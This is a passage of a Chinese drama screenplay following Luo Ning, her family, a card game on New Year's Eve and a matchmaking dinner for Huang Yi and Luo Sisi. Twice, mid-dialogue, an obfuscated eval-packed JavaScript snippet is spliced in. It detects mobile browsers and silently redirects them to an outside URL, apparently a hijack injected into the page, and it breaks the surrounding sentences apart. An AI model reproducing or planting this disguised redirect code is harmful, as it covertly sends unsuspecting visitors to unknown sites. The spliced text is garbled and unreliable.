黄靖:额,慧月,我突然想起来了,那件事不急着办,咱们还是一块儿去吧! 2-64 皇宫,慧月公主居住的宫殿(夜,内) 人物:慧月公主、万贵妃 万贵妃来探望慧月公主。 慧月公主:(作礼)母亲! 万贵妃:慧月,母亲听说你今天跟张正清一块儿出去了? 慧月公主:是啊,我们去了掬泪湖,那里刚刚下了一场雪,景色美极了! 万贵妃:你俩的事,他提了没? 慧月公主:这……没有。 万贵妃:他不上心,你怎么也不上心呀?他不提,你就不会问吗? 慧月公主:那多不好意思呀! 万贵妃:罢了,我还是去找你的父皇吧。 慧月公主:(急忙拦住万贵妃)母亲,别这样! 万贵妃:慧月,你可是公主,怎么能迁就他呢? 慧月公主:正因为女儿是公主,才不想让人觉得,他是不情不愿地娶的我。 万贵妃:唉,千不该万不该,当初的武状元殿试,母亲就不该让你去看。 慧月公主:(红着脸笑)嘻嘻,若不是这个,女儿又怎么会知道正清哥哥是天下第一好儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007364|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎! 万贵妃:你呀你,真是太傻了! 梁州,凤凰城 2-65 天地会总会,西暖阁(夜,内) 人物:洛宁、风巅巅、银华、金鹏 除夕夜,四个年轻人在玩牌。 洛宁:(气不打一处来)风巅巅!你是不是他俩派来的奸细呀?瞧瞧你这出的都是些什么牌?没一张管用的!知不知道今天因为你,姑娘我过年的红包都快输光了! 风巅巅:(哭丧着脸)我也不想这样啊,谁让好牌都跑到他俩那儿去了! 银华:(笑)哈哈哈!我就说让你跟我搭档吧,你还不肯,这下后悔了吧? 洛宁:去年跟你搭档,我输了多少?你这么快就忘了呀?哼!我看你俩都差不多,就只会拖我的后腿!还是金鹏厉害,每回都是人家在替你兜底! 金鹏:我以前干完了活儿,也会跟别人玩上几把,可能我的牌技就是在那个时候练出来的。(悄悄对洛宁)待会儿你想要什么牌,我偷偷拿给你…… 银华:喂喂喂,金鹏!你干嘛呢?你跟她说什么悄悄话呀?你可要弄清楚,她现在是咱俩共同的敌人,你可不能叛国投敌哟! 洛宁:(捶了银华一下)什么叛国投敌?不就是玩个牌吗?有那么严重吗? 银华:(不躲不闪,笑个不停)关乎我的钱袋子,能不严重吗?哈哈哈! 金鹏:(对着风巅巅)巅巅,要不咱俩换一下?我来跟宁儿搭档…… 银华:那可不行!咱俩这会儿正赢着呢,你这一换人,把我的好手气换跑了怎么办? 洛宁:瞧你那副小气劲儿!不换就不换,没他帮忙,姑娘我照样能赢回来!再来! 风巅巅:(数了数身上的钱)额,我这边钱已经输光了,你那边还剩多少? 洛宁:呀,好像也没多少了! 银华:(得意地大笑)哈哈哈!瞧瞧我这满满当当的钱袋子,哎呀呀,明年不愁没钱下馆子了!哈哈哈! 洛宁:哼!你给我等着,我找我哥借钱去!(起身往外走) 银华:那你快点去,记得多借点儿哟!哈哈哈…… 2-66 天地会总会,东暖阁(夜,内) 人物:洛宁、洛宏、风无行、洛元昌、洛宇 洛宏、风无行正在陪洛元昌打麻将,洛宇在旁边观看,洛宁从外面进来。 洛宁:(上前搂住洛宏)哥哥! 洛宏:咦,你不是在那边跟银华他们几个打牌吗?怎么跑这里来了? 洛宁:唉,别提了!风巅巅那个臭小子,牌技烂到无法想象,害得我钱都输光了! 洛元昌:(一听便大笑)哈哈哈!小丫头!你没在军营里所以不知道,风巅巅那个家伙向来逢赌必输,军营里没人敢跟他搭档,不然的话输得连裤子都没得穿! 洛宁:老五爷!您不是说风巅巅是战场上的常胜将军吗?怎么一到了牌场上,就变成常败将军了?您说这小子是不是故意的呀? 洛元昌:不会!那小子的性情我比谁都清楚,你别看他打起仗来挺机灵,其实憨厚得很,一句好听的话都不会说,要不怎么到现在连个媳妇都娶不上呢! 风无行:唉,老五爷!您还是别提这事儿了,我都快愁死了! 洛宁:愁什么呀?不是还有你陪着他吗? 风无行:(没好气地)你呀你,真是哪壶不开提哪壶! 洛宇:宁妹妹,你姐在□□,正在陪大娘包饺子,要不你去她们那儿玩? 洛宁:包饺子一点儿也不好玩,我才不去呢! 风无行:洛宇,你还没看出来吗?这丫头来这里,不是为了玩,而是为了找她哥要钱! 洛宁:嘻嘻,还是无行大哥最明白!哥哥,你借我点儿钱好不好? 洛宏:跟你哥还用得着说借吗?想要多少,我给你便是! 风无行:洛宏,你可真偏心!平常我们找你要钱,你都是能拖就拖、能少给就少给,怎么对你妹妹这么大方呀? 洛宏:我妹儿能花几个钱呀?哪像你们这帮家伙,吃穿住用,样样都要我掏钱。不给吧,说我抠;给了吧,又嫌少。百般挑剔,难伺候得很!我一个信义堂的堂主,跟你们的老妈子差不多,真是出了钱还不讨好! 风无行:你以为我这个和敬堂的堂主就好当呀?会里会外,这么多人、这么多事,全都要我管。管多了,人家嫌我烦;管少了,人家说我不重视。甭管我怎么做,他们都能挑出毛病来。我又不是神,怎么可能样样都令他们称心如意? 洛元昌:能者多劳嘛,你俩就别抱怨了!赶紧出牌,我这边还等着胡呢! 洛宁:我看云飞大哥倒是挺清闲,喝茶、下棋、写毛笔字,偶尔跟爷爷出一趟远门,除此外,基本上没什么事儿。 风无行:恩威堂是有事的时候才忙、没事的时候都很闲,不像和敬堂和信义堂,一年到头忙个不停。 洛宁:(问风无行)那你当初怎么不到恩威堂呀? 洛宏:总会的四个堂里,恩威堂对武功的要求最高,堂里的每一个人都必须经过爷爷亲自挑选。所以,不是谁想进就能进的。 洛宁:噢,原来是技不如人呐!无行大哥,那你就用不着羡慕人家云飞大哥了! 风无行:哼,小丫头!顾云飞请你吃了两顿肉,你就替他说好话,一点点蝇头小利就把你给收买了,真没骨气! 洛宁:那你也请我吃呗! 洛宏:哈哈,他可不敢,他怕被你姐骂! 洛宁:还没跟我姐成亲呢,就怕成这样,将来若是成了亲,还不知道被我姐欺负成什么样儿呢!唉,无行大哥,我可真替你感到悲哀! 风无行:我那不是怕她,我那是尊重她。俗话说得好,好男不跟女斗。我要是处处跟她一般见识,反倒显得我没度量了! 洛元昌:说的没错!女人都是头发长见识短,心眼小不说,还喜欢搬弄是非,哪个男人像她们这样? 洛宁:(翻了个白眼)唉,又来了!老五爷,您对女人的偏见还真是根深蒂固呢!罢了,大过年的不想跟您争,我还是赶紧走吧,图个耳根清净!(拿起洛宏给的银钱便出去了) 2-67 洛府,木兰小院,走廊上(日,外) 人物:洛宁、温珍 过完年,洛宁打算去督察府里瞧瞧张正清回来没,还没走出门,就看见温珍来了,他的模样,看上去比之前更加虚弱,仿佛一口气上不来,人就要死了。 洛宁:(大吃一惊)天呐!温……温公子,你……你怎么又活过来了? 温珍:让你失望了,对不对? 洛宁:不不不!温老师,瞧您说的!其实,我在新的一年里,许下的第一个愿望就是希望您能无病无灾、健康长寿! 温珍:我宁可死了,总好过一看见你就来气!咳咳!你的琴呢?还不快拿出来! 洛宁:琴? 温珍:对呀,怎么了? 洛宁:那个……温老师,是这样的,过年的时候跟人家玩牌,钱都输光了,不得已把琴给当了…… 温珍:你说什么?! 洛宁:我……我以为您不再来了呢! 温珍:唉,罢了,就当我这辈子从来没收过你这个徒弟!(眼前一黑,倒在了地上) 2-68 洛府,木兰小院,洛宁的屋子(夜,内) 人物:洛宁、洛青 温珍的事,让洛青十分恼火。 洛青:人家温公子好不容易才活过来,你又把人家给气过去了。他姐说了,这回人能不能醒过来,全看天意了。 洛宁:那……我的琴还赎不赎了? 洛青:(吼)还赎什么呀?以后就算咱们请人家,人家也不会来了!哼! 18. 第三篇 鱼小儿的易容术 梁州,凤凰城 3-1 督察府,前院(日,外) 人物:张正清、洛宁、田佳、黄毅 过完年,张正清回到凤凰城,给众人带来很多京城的特色小吃。 田佳:(各种点心塞满了嘴)唔,唔,真好吃!好久没有吃到京城的点心了! 洛宁:以后若有机会,我也要去京城,把那里的美食全部吃个遍! 张正清:想去还不容易吗?下次我回京城的时候,你跟着我一起去呗! 洛宁:好啊!好啊! 田佳:老大,我也要去! 张正清:行!你也去!呵呵! 洛宁:黄毅!你什么时候有空,我想请你吃顿饭。 黄毅:(意外)你想请我吃饭? 洛宁:(点头)嗯,对呀! 田佳:什么意思呀?你请他吃饭做什么? 洛宁:当然是有事了。 田佳:有事你直接说不就行了吗? 洛宁:这种事还是边吃边聊比较好。 田佳:什么事呀?神神秘秘的! 洛宁:跟你没关系,别问了!黄毅,你什么时候有空呀? 黄毅:(害羞地)我什么时候都有空,你看着办吧。 洛宁:那行!等我订好了酒楼,再把时间和地点告诉你。 黄毅:嗯,好。若没什么事的话,我先去县衙了。 洛宁:嗯,你去吧! 黄毅起身离开。 田佳:瞧那小子,脸都红了,他该不会以为你看上他了吧? 洛宁:怎么会呢?不过是吃顿饭而已,你想多了。 张正清:(瞪了洛宁一眼)无缘无故请人家吃饭,别说她想多了,连我都想多了。 洛宁:张大哥!照你这么说,年前我请你吃的那顿饭,难不成也是因为看上你了? 田佳:你请他吃饭?什么时候的事儿啊?我怎么不知道? 张正清:(故意轻描淡写地)哦,没什么,也就是在富贵大酒楼里吃了顿鲍鱼而已。 田佳:(瞪大了眼睛)在富贵大酒楼里吃了顿鲍鱼?宁儿!这么好的事儿,你怎么没叫上我呀? 洛宁:(有苦难言)我…… 张正清:(趁机煽风点火)是啊,你怎么没叫上她呀?不如这样吧,田佳,让她补请! 田佳:对,必须要补请! 张正清:不请的话,就跟她绝交! 田佳:没错,绝交! 洛宁:(没好气地)田佳!你是只鹦鹉吗?怎么他说一句、你跟着学一句呀?你没看出来他在故意捣乱吗? 田佳:我不管!反正你这次请也得请、不请也得请!一想到你背着我偷偷地请他吃饭,还去了那么高大上的地方,我的心里就万分不爽!哼! 张正清:(憋住笑)是啊!亏得人家还把你当成最好的姐妹呢,你这样做也太不够意思了! 洛宁:(无奈地答应)好好好!二对一,我说不过你们!我请你吃饭,这样总行了吧! 田佳:嘻嘻,这还差不多!呀,一不小心吃多了,肚子好撑,我出去走走!(一溜烟儿跑了) 洛宁:(脸倏地一沉)张大哥!你什么意思呀?我哪里得罪你了?你坑了我一次还不够、还想再坑我第二次呀?我跟你有仇吗? 张正清:(一副幸灾乐祸的样子)谁让你上次请我吃饭的时候,一千一万个不乐意,还全程哭丧着脸,害得我胃口全无! 洛宁:你那一顿饭吃下去,我年底的红利全没了!你说我能笑得出来吗?想找人赔笑脸是吧?出门左拐,到群芳楼找胭脂姑娘去!哼!(起身就走) 张正清:(不高兴地冲着她喊)喂!你这什么态度啊?我可是你的上司,竟敢冲我发火,真以为我没脾气呀?唉,都是我把你给惯的! 3-2 洛府,洛青的屋子(日,内) 人物:洛青、洛思思、欧阳兰兰 年后没多久,欧阳兰兰便来洛府串门。 洛青:天哪!兰兰,你回老家才几天的工夫,怎么就像是变了一个人? 洛思思:是呀!兰兰,你的脸看上去好白好漂亮,就像剥了壳的鸡蛋,又嫩又滑。 洛青:兰兰!你吃了什么灵丹妙药?赶紧传授下经验,让我们也跟着美一美! 欧阳兰兰:我正要跟姐姐们说这件事呢!(打开带来的锦盒,里面装着几个大小不同的瓷瓶)姐姐们请看!这些就是让我在短时间内脱胎换骨的秘密武器! 洛青:(怀着好奇心拿起一个瓷瓶,看了又看)这是什么?面脂吗? 洛思思:(从洛青的手里接过瓷瓶,打开闻了闻,皱起眉头)味道好奇怪呀! 欧阳兰兰:味道虽然有点儿怪,但效果出人意料!姐姐们,你们有所不知,就这么一小瓶东西,在我老家那边,已经卖疯了!尤其是那些大户人家的太太小姐,都成批成批地购入,只要有货,根本不问价钱! 洛思思:天哪!这么厉害?这些都是什么东西?怎么用啊? 欧阳兰兰:这几个小瓶子里面装的是面脂,这个大瓶子里面装的是药丸,每天只需吃一粒,内服加外用、坚持一个月以上,你们的脸就能变得像我这样,宛若初生。 洛思思:真的这么有效? 欧阳兰兰:有没有效,看看我这张脸不就知道了? 洛思思:那我可一定要试试!过去我跟着我爹驻在北疆,那里风沙大得很,日头又猛,你们看看我这张脸,又黑又糙;再看看凤凰城里跟我岁数差不多的那些女孩子们的脸,一个个又嫩又白,可把我羡慕死了! 欧阳兰兰:你若用了这个,就再也用不着羡慕别人了! 洛青:这东西这么好,为何咱们凤凰城里没有呀? 欧阳兰兰:这东西是我老家的一位大夫、给自己的老婆孩子配制的,原本秘不外传,后来发现效果极佳,这才慢慢推广开来。 洛青:既然是自己用的,原料肯定是上好的。 欧阳兰兰:对呀!若不是这次回老家,我还真不知道这个世界上竟有如此神奇的宝贝,能把一个人瞬间从丑小鸭变成白天鹅!这东西对咱们女人来说,无异于王母娘娘的仙草,让人相见恨晚! 洛青:话虽如此,与容貌相比,女人的才德更重要。 欧阳兰兰:那只是自欺欺人的说法!你看世间的男人,在娶妻纳妾的时候,哪一个不是先看女人的脸蛋呀? 洛思思:说得太对了!你们看我这副样子,在军营里就没人把我当女人看。 欧阳兰兰:是啊!所以你更要抓住这个机会,让自己焕然一新。这样的话,以后不管你走到哪里,都会有一大堆的男人向你献殷勤…… 洛青:(板起脸)兰兰!胡说什么呀! 欧阳兰兰:我只是打个比方而已。青姐姐,你不是正在替老五爷操心甜妞儿的婚事吗?如果能让甜妞儿改头换面的话,岂不是更容易成办? 洛思思:兰兰说得有道理。问题是这么小的一瓶,估计也用不了几天,用完之后怎么办?难不成还要去你老家买呀? 欧阳兰兰:这个你不用担心,凤凰城里很快也会有。 洛思思:什么意思? 欧阳兰兰:我打算在凤凰城里开一家店,就卖这个! 洛思思:真的吗?那敢情好! 欧阳兰兰:原本我打算花重金买下它的配方,可惜那位大夫担心配方外泄、不肯出售,最后我哥便跟他商量,由咱们欧阳世家出钱,买下了它的经营权。这就意味着,从今往后,只有在我们欧阳世家开的铺子里,才会有这盒面脂出售,而且最重要的是,我们家决定把这笔生意交给我来打理。 洛青:天哪!兰兰,真是士别三日当刮目相待!年前你还是一个不懂事的小姑娘,年后就摇身一变、成精明的女商人了! 欧阳兰兰:嘻嘻!这才刚开始呢!姐姐们瞧好了,我的店铺不仅会越开越大,而且会遍满沉香国乃至世界的每一个角落!到那时,人们一提起欧阳世家的时候,首先想到的就是我欧阳兰兰!哼哼! 3-3 督察府,前院(日,外) 人物:洛宁、乔捕头、小男孩仔仔 一个三四岁的小男孩,扶着门槛翻进了督察府里。 乔捕头:咦!这是谁家的孩子?怎么没人看管? 洛宁:乔捕头,你去街上看看有没有丢失小孩的大人。 乔捕头:嗯,好!(转身离开) 洛宁:(问小男孩)小家伙!你叫什么名字?几岁了? 小男孩:(尚有些口齿不清)我叫……仔仔,两……三岁了。 洛宁:噢,原来你叫仔仔呀!你是跟谁一起出来的呀? 小男孩:我跟……奶奶! 洛宁:那你奶奶现在在哪里呀? 小男孩:(摇摇头)不知道。 洛宁:哦,你知道你奶奶叫什么名字吗? 小男孩:(又摇摇头)不知道。 洛宁:你爹你娘呢?他们知道你出来了吗? 小男孩:(还是摇摇头)不知道。 洛宁:那你肯定也不知道自己住在哪里了? 小男孩:(点头)嗯嗯,不知道。 洛宁:唉,看来你什么都不知道呀。那好吧,刚才那位叔叔已经出去找你奶奶了,要不你先待在这里,陪姐姐玩一会儿,好不好? 小男孩:好啊! 洛宁:你会玩什么呀? 小男孩:我会玩……跳房子。 洛宁:是吗?那姐姐跟你一起玩跳房子,好不好? 小男孩:(拍手笑)好好好……跳房子! 一会儿,乔捕头从外面回来。 洛宁:怎么样?找到他的家人了吗? 乔捕头:找到了,就在旁边的众康医馆里。他奶奶在街上晕倒了,被人送进了医馆,刚醒过来,正在到处找她的孙子呢! 洛宁:那咱们快把他送过去吧。 3-4 众康医馆(日,内) 人物:洛宁、乔捕头、冷梦、小男孩仔仔、詹奶奶 众康医馆里,小男孩一见到奶奶,便扑进了她的怀里。 小男孩:奶奶! 詹奶奶:(一把抱住他)哎哟,我的乖孙儿!你跑哪里去了?可把奶奶担心坏了! 小男孩:(指了指洛宁)姐姐跟我……跳房子! 詹奶奶:洛姑娘?原来是你呀,真是谢谢你们了! 洛宁:詹奶奶!您这么大岁数了,可一定要注意自己的身体,以后再出门的时候,最好能找个人陪着您,不要一个人单独出门。 乔捕头:是啊!今天幸好这孩子跑进我们督察府里来了,若是跑到湖边或者别的什么地方,那可就危险了! 詹奶奶:是啊是啊,你们说的没错,以后我可再也不敢一个人带他出来了!幸好这次没事,若是把孩子弄丢了,我可怎么跟我的儿子儿媳妇交代呀! 一位大夫从屋里走出,二十多岁的样子,穿着一身白褂子,五官很清秀,神色却略显苍白,像是许久没晒过太阳了。 冷梦:(问洛宁)你是她的家人? 洛宁:哦,不是!(讲述小男孩的事) 冷梦:这样啊!那你们最好能联系上她的家人,让他们过来照顾她。 洛宁:大夫,她的情况怎么样? 冷梦:已无大碍。只不过她上了年纪,最好能留下来观察几天。 洛宁:嗯。乔捕头,麻烦你去通知一下詹奶奶的儿子儿媳,让他们过来把孩子接走,并且安排照顾詹奶奶的事宜。 乔捕头:好,我这就去!(转身离开) 洛宁:大夫,请问您怎么称呼? 冷梦:我叫冷梦。 洛宁:冷大夫?你的模样不像本地人,是从聚胜古都来的吗? 冷梦:是的。 洛宁:呵呵,真没想到会在这里遇见老乡。 冷梦:(淡淡地)我在聚胜古都学医,但我不是聚胜古都的人。 洛宁:哦,这样啊。那你怎么会想到来这里行医? 冷梦:在哪里不都是治病救人吗? 洛宁:嗯,也是。只不过这里的人们,都习惯于找本地、有经验的大夫看病,你这个从外地来的年轻大夫,怕是吃不开。 冷梦:姑娘你今年多大岁数? 洛宁:嘻嘻,干嘛问这个? 冷梦:你在督察府里都干些什么? 洛宁:在督察府里,当然是办案子了。 冷梦:验过尸吗? 洛宁:经常的事儿。 冷梦:开膛破肚的话,这里的人们能接受吗? 洛宁:不太容易!所以在验尸之前,我们会先征求死者家属的意见。 冷梦:你的家人同意你干这个吗? 洛宁:唉,他们不许我走前门,只许我从后门回家,说是太晦气了。 冷梦:(微微一笑)可你还是在干,不是吗? 洛宁:呵呵,明白了!冷大夫,欢迎你来到凤凰城!我叫洛宁,如果有什么需要,你可以随时来督察府找我。 冷梦:嗯,我知道了。 3-5 酒楼,雅间(夜,内) 人物:洛青、洛宁、洛思思、黄毅 洛青在酒楼里订了一个雅间,想给洛思思和黄毅一个认识的机会。 洛宁:(推开门走进雅间,身后跟着黄毅)姐!黄毅来了! 洛青:(起身笑脸相迎)快进来!快进来! 黄毅:(见到洛青有些意外)咦,原来青姑娘也在这里,我以为只有我和宁儿呢! 洛宁:嘻嘻,黄毅!实不相瞒,这顿饭其实是我姐请你吃的! 黄毅:哦,这样啊!那青姑娘有什么事吗? 洛青:一定要有事才能请你吃饭吗?你来凤凰城已经有一段日子了,我年前就跟宁儿说过,想请你去我们家里做客,可惜这个丫头从来都不放在心上,所以一直拖到现在。今儿好不容易有个机会,本来想请你到我们家里去,又怕你嫌人多不方便,所以才选在了这里。 黄毅:我怎么好意思让青姑娘您请我吃饭呢? 洛青:黄公子不远万里从京城来到凤凰城,本来就是我们的贵客,更何况你跟宁儿又在一处共事,于情于理,我们都该尽一尽地主之谊呀! 黄毅:青姑娘您太客气了! 寒暄了几句之后,洛青便将洛思思介绍给黄毅。 洛青:黄公子!这是洛思思,她是我和宁儿的堂姑。 黄毅:(吃惊)堂姑?这未免也太年轻了吧! 洛青:思思是老五爷的女儿,从辈分上讲,她确实是我和宁儿的堂姑。只不过因为她的年龄尚小,叫堂姑不太方便,所以我们平常都叫她的小名甜妞儿。 黄毅:哦,原来是这样!(对洛思思点点头)思思姑娘,幸会幸会! 洛思思:(脸一下就红了)黄公子,幸会幸会!你叫我甜妞儿就行! 洛青:既然人都来齐了,咱们就不要站在这里了,快入席吧! 众人依次入座。 洛青:黄公子!这家酒楼虽然看上去不算大,却已经传承了整整五代人。店里的招牌菜脆皮乳鸽,堪称凤凰城里的一绝!今儿你可一定要尝尝! 黄毅:我来凤凰城之前,也听说这里繁华无比,有许多京城里看不到的美景和吃不到的美食。如今来了才知道,此话一点儿不假。 洛思思:黄公子!你觉得凤凰城哪些地方的景色最美、哪家店里的东西最好吃呢? 黄毅:这个……说实在的,我虽然来到凤凰城也有一段日子了,却不曾去各处逛过。 洛宁:甜妞儿,你有所不知,张大哥说黄毅是个新人,为了让他能够尽快地熟悉督察府里的各项事情,每每总是安排他做这做那,从早到晚忙个不停,怎么会有空闲逛呢? 黄毅:老大这样做是为了我好,我也希望自己能够早日胜任这份差事。 洛青:你们听听!人家黄公子多有上进心呀,如今像他这样的年轻人可不多见! 黄毅:(谦虚地)青姑娘您谬赞了,我不过是尽己所能、尽力而为罢了! 洛宁:咦!怎么还不上菜呀?(冲着洛青使了个眼色)我去楼下问问店小二! 洛青:我跟你一起去,顺便看看酒水备好了没。(对着洛思思)甜妞儿,你先陪黄公子坐坐,我们一会儿就回来! 洛思思:哦,好! 3-6 酒楼,走廊上(夜,内) 人物:洛青、洛宁 洛宁和洛青离开雅间,去楼下催促伙计上菜。 洛青:宁儿!隔壁有间茶楼,我们去那里坐坐,让他俩先熟悉下彼此。 洛宁:知道啦,姐!你看他俩怎么样?般不般配呀? 洛青:岁数倒是相仿,不过与黄公子相比,甜妞儿还是过于泼辣了些,以后可要提醒她,让她务必收敛一下,免得遭人嫌恶。 洛宁:甜妞儿是在北疆长大的,又自幼习武,性情豪爽也很正常。 洛青:唉,希望黄公子不会介怀。 洛宁:嘻嘻,介怀也没关系!两个人相处久了,自然就看顺眼了。 洛青:是啊,希望黄公子能多点耐心,给甜妞儿一个展现自我的机会。 洛宁:不过我看甜妞儿挺喜欢黄毅,一见到他两只眼睛都放光了。 洛青:嗯。黄公子的性情温和、谦恭有礼,身上散发着一股文人特有的书卷气,正是甜妞儿想找的那种类型。 洛宁:我明天去跟张大哥说说,请他暂时不要给黄毅安排太多的事情,让他俩能有空好好地相处一下。 洛青:嗯。我这边也会叮嘱甜妞儿,让她主动些,多约黄公子出来逛逛,增进一下感情。 洛宁:咦,姐,你不是常说这种事情应该男方主动些吗?怎么突然改口了? 洛青:通常情况下,女孩子们比较矜持,男方是应该主动些,但是他俩恰恰相反。所以指望黄公子主动去追求甜妞儿,估计是不可能的事情;如此以来,想要促成他俩的好事,就只能让甜妞儿主动些了。 洛宁:嘻嘻,姐,我发现你牵红线的本事真是越来越大了,不如去当媒婆吧! 洛青:你这个丫头,我若真有本事当媒婆,第一个先把你嫁出去! 3-7 酒楼,雅间(夜,内) 人物:黄毅、洛思思 屋里只剩下黄毅和洛思思,二人相处,黄毅略有些腼腆,洛思思倒是挺大方。 店小二给他们送来了酒菜。洛思思知道洛青和洛宁是有意离开,便主动跟黄毅套近乎。 洛思思:黄公子!你怎么不动筷子呀?快尝尝吧!看合不合你的胃口? 黄毅:青姑娘和宁儿呢?怎么没见她俩回来?要不我们再等等,反正菜还没上齐。 洛思思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007365|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :宁儿说要去对面的铺子里买些蜜饯果子,估计一时半会儿回不来,咱们还是别等了,先吃吧! 黄毅:哦,那好吧! 洛思思:来!尝尝这个!还有这个!这家酒楼我年前来过一回,里面的每道菜都非常好吃,你可一定要多吃点儿!(不住地给他夹菜,以至于他面前的碗盘里全都装满了) 黄毅:(摆手)思思姑娘!这些够了,别再夹了!再多我可吃不下了! 洛思思:这才多大一点儿呀!你一个七尺高的大男人,不可能只有这点儿饭量吧! 黄毅:不瞒你说,我平常吃得更少。 洛思思:啊?那你怎么干活呀?你们督察府不是经常出外勤吗?这来来回回、跑跑颠颠,难道不费力气吗?你才吃这么一点儿东西,就不怕在半路上晕过去了? 黄毅:不会!我的饭量向来就这么一点儿,吃多了反倒不好受。 洛思思:哦,是吗?那我就不给你夹了,你快吃吧!凉了可就不好吃了! 黄毅:哦,好。谢谢思思姑娘! 洛思思:不是说了别叫我思思姑娘吗?叫我甜妞儿就行了! 黄毅:哦,好。谢谢甜妞儿! 黄毅拿起筷子,一小口一小口地往嘴里喂;坐在他旁边的洛思思,却是大口大口地吃了起来。 黄毅:(忍不住笑了)思思姑娘,你的胃口不错呀! 洛思思:那是当然了!我从小到大,我爹娘从来没为我吃饭的事儿发过愁!只要是能入口的东西,没有我吃不下的!不怕黄公子你笑话,就你碗里的那点儿东西,还不够我吃三分饱呢! 黄毅:我听宁儿说你是在北疆长大的,果然与这里的女孩不太一样啊! 洛思思:嘻嘻!不瞒你说,若不是回到了凤凰城,我连女孩子们用的胭脂水粉都没听说过!北疆的军营里,全是一群大老爷们儿,整日只知舞枪弄棒,谁会用这个呀? 黄毅:呵呵,说得没错!那思思姑娘的性情应该也像北疆的将士们一样,分外豪爽了? 洛思思:差不多吧!反正我这个人不爱生气,别人若是说了什么不好听的话顶撞了我,我也不会往心里去。今天的烦恼,睡一觉就忘了,从来不会记到明天。 黄毅:你能有这样豁达的心态可真好! 洛思思:黄公子呢?你是不是也像我这样? 黄毅:我可没你这般洒脱,毕竟我的情况跟你不太一样。 洛思思:你是什么情况呀? 黄毅:我爹娘常年不在我身边,我从小就是一个人孤伶伶地长大。 洛思思:你没有兄弟姐妹吗? 黄毅:有,不过他们也不跟我在一起。 洛思思:怎么会这样?你们不是一家人吗?一家人难道不应该在一起吗? 黄毅:可能是因为我爹不太喜欢我吧! 洛思思:黄公子你一表人才,谁见了你不喜欢呀?你爹是怎么想的?他的脑子是不是有毛病呀?哦,不好意思,我说错话了! 黄毅:幸好我爹不在这里,呵呵! 洛思思:黄公子,我不是故意的。 黄毅:我知道。思思姑娘为人豪爽、有话直说,我也很欣赏你这样的性情! 洛思思:是吗?嘻嘻,那就好!哎呀,只顾着说话,忘了给你倒酒了!(拿起酒壶,给黄毅和自己各倒了一满杯的酒) 黄毅:谢谢思思姑娘,你可真是太热情了! 洛思思:你怎么还叫我思思姑娘呀? 黄毅:呀!不好意思,我又忘了!甜妞儿,我敬你一杯! 洛思思:嘻嘻,黄公子!你的饭量不行,酒量总行吧? 黄毅:应该还不错吧!虽然比不上我们老大那样千杯不醉,不过陪姑娘喝上几杯,还是可以的! 洛思思:是吗?那敢情好!今天咱们就来个一醉方休!哈哈! 3-8 督察府,张正清的屋子(日,内) 人物:张正清、洛宁 得知黄毅和洛思思交往的事,张正清摇摇头。 张正清:让你姐别白费力气了,他俩肯定成不了! 洛宁:这才刚开始呢,你怎么知道他俩成不了?难不成你有未卜先知的能力? 张正清:我虽然没有未卜先知的能力,但我一看就知道,他俩一点儿也不般配。 洛宁:那你说我爹和我娘般配吗?他俩相隔那么远,却能走到一起去,还生下了我和我哥。知道这叫什么吗?这叫“千里姻缘一线牵”! 张正清:我知道,但黄毅的情况不一样。 洛宁:哪里不一样? 张正清:跟你说了也不懂,反正他俩不可能。 洛宁:张大哥!你什么意思呀?你该不会因为黄毅家在京城、高人一等,就认为甜妞儿配不上他吧? 张正清:我怎么会有那个意思呢?我自己也是从京城来的,你又不是第一天认识我,你见过我有瞧不起这个、瞧不起那个吗? 洛宁:额,这倒没有。但是张大哥,你明知道我这个人喜欢刨根问底,却不肯告诉我为什么,那我就只好自己去查了!(转身要走,被他拦住) 张正清:干什么呀?这种事情有什么好查的? 洛宁:不管什么事情,只要它引起了我的好奇心,我就要查个水落石出! 张正清:那你打算从哪里开始查起? 洛宁:(想了想)这个嘛……既然问题出在黄毅那里,当然是先从他开始查了。 张正清:查什么? 洛宁:什么都查! 张正清:你以为这是什么?办案子呀? 洛宁:也行啊!那就把它当成一件案子来办呗! 张正清:你这个小鬼,胆子越来越大了是吧?没经过我的允许,你敢私自调查试试?上回曾丽丽的事情我还没跟你算账呢! 洛宁:那就等我查完黄毅之后,咱们新账旧账一起算好了!(说完又要走,又被他叫住) 张正清:你给我回来!我告诉你为什么! 洛宁:(立马掉头回来)嘻嘻,为什么呀?你快说吧! 张正清:以前我不是告诉过你吗?黄毅他们家和我们家是世交。 洛宁:对呀,你说过。但这跟那个有什么关系? 张正清:正因为是世交,所以我对黄毅家里的情况十分了解,他的爹娘非常传统,在婚姻这种人生大事上绝不允许他自作主张。 洛宁:你的意思是说,他们家遵循的是“父母之命、媒妁之言”这样的传统吗? 张正清:正是。 洛宁:那黄毅呢?他怎么想? 张正清:他的性情向来温顺,断然不会违背爹娘的意思。 洛宁:好像是啊!自从黄毅来到了督察府,我见他无论做人做事,都一味地循规蹈矩,估计在家里也是一个特别乖的孩子。 张正清:是啊,所以我说他做不了主嘛! 洛宁:虽然他做不了主,但这不代表甜妞儿就没希望啊!张大哥,不如你就做个顺水人情,给他俩一个机会,让他俩相处一下试试。至于最后能不能成,这是他俩的缘分,跟你没关系。 张正清:我可以给他俩机会,这些都是小事儿。但如果最后黄毅拒绝了甜妞儿、伤了她的心,你可别抱怨哦! 